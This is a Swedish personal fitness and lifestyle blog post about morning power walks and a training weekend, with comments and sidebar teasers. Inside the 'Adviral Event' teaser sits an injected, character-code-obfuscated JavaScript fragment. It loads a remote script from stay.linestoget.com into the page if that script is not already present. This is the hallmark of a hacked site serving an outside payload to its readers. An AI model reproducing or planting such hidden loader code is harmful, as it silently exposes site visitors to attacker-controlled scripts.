Morgon PW! Myggfritt och träningswekeend !

15

096267FE-9616-414A-9034-535D6D204842

Godmorgon!

Inatt har vi sovit gott… myggnät för dörr/fönster och korsdrag 😄 ”gasade” alla flugor/insekter med hjälp av nån grej för ö&B som fyllde! -Skönt! Man ska ju inte klaga på värmen…….. Men lite luft när man sover är inte fel 😝

ikväll checkar dom första in på Hotel Skansen som ska vara med på våran träningsweekend. Sabina kommer ner i eftermiddag 😃 -Så taggad!  Jag har precis börjat dagen med en PW! 

En lång svettig PW gör gott för både kropp och själ! Ni vet att jag brukar tjata om tempot och att våga utmana sig själv i både distans och tempo.

Det blir Självklart en bonus för förbränningen🙌🏻

Men för min del är min morgonrutiner med en PW, som medicin mot ångest, trötthet och stress!

Vissa dagar kör jag på bandet på gymmet. När det passar schemat bättre. Men 90 % på tillfällena, året runt så tar jag min PW i naturen. Oavset väder och årstid! Jag Rensar tankarna, andas, njuter och reflekterar 🌟-oslagbart! 😍

kram sålänge…

/My Martens 

Föregående
Gårdagen på öland i bilder
Nästa
Äntligen svarar kroppen igen! Starkare, mer ork och -5 kilo på vågen!

15 Komentarer

    • ja, det är verkligen underbart! Alla årstiden… vackra kontraster med mycket öppna landskap och vatten =) Du får komma hit igen… Kram

    • Åh! Det låter tufft! Måste vara en extrem saknad…. kan inte ens föreställa mig den känslan. Men frisk luft gör alltid gott…. Stor kram från mig till dig <3

    • ja, det är verkligen underbart! Alla årstiden… vackra kontraster med mycket öppna landskap och vatten =) Du får komma hit igen… Kram

    • Åh! Det låter tufft! Måste vara en extrem saknad…. kan inte ens föreställa mig den känslan. Men frisk luft gör alltid gott…. Stor kram från mig till dig <3

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Föregående
Gårdagen på öland i bilder
Nästa
Äntligen svarar kroppen igen! Starkare, mer ork och -5 kilo på vågen!

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/

Mys Blommor🌹/ Din florist / Högsta Kvalitet & Design💫 / 🌍 Catalina Torget 15 Täby 📲 08 36 36 14

Välkommen!

@mymartens

@mys_blommor

My Blommor Täby

Strong Mamas

© Copyright My Martens

Kontakt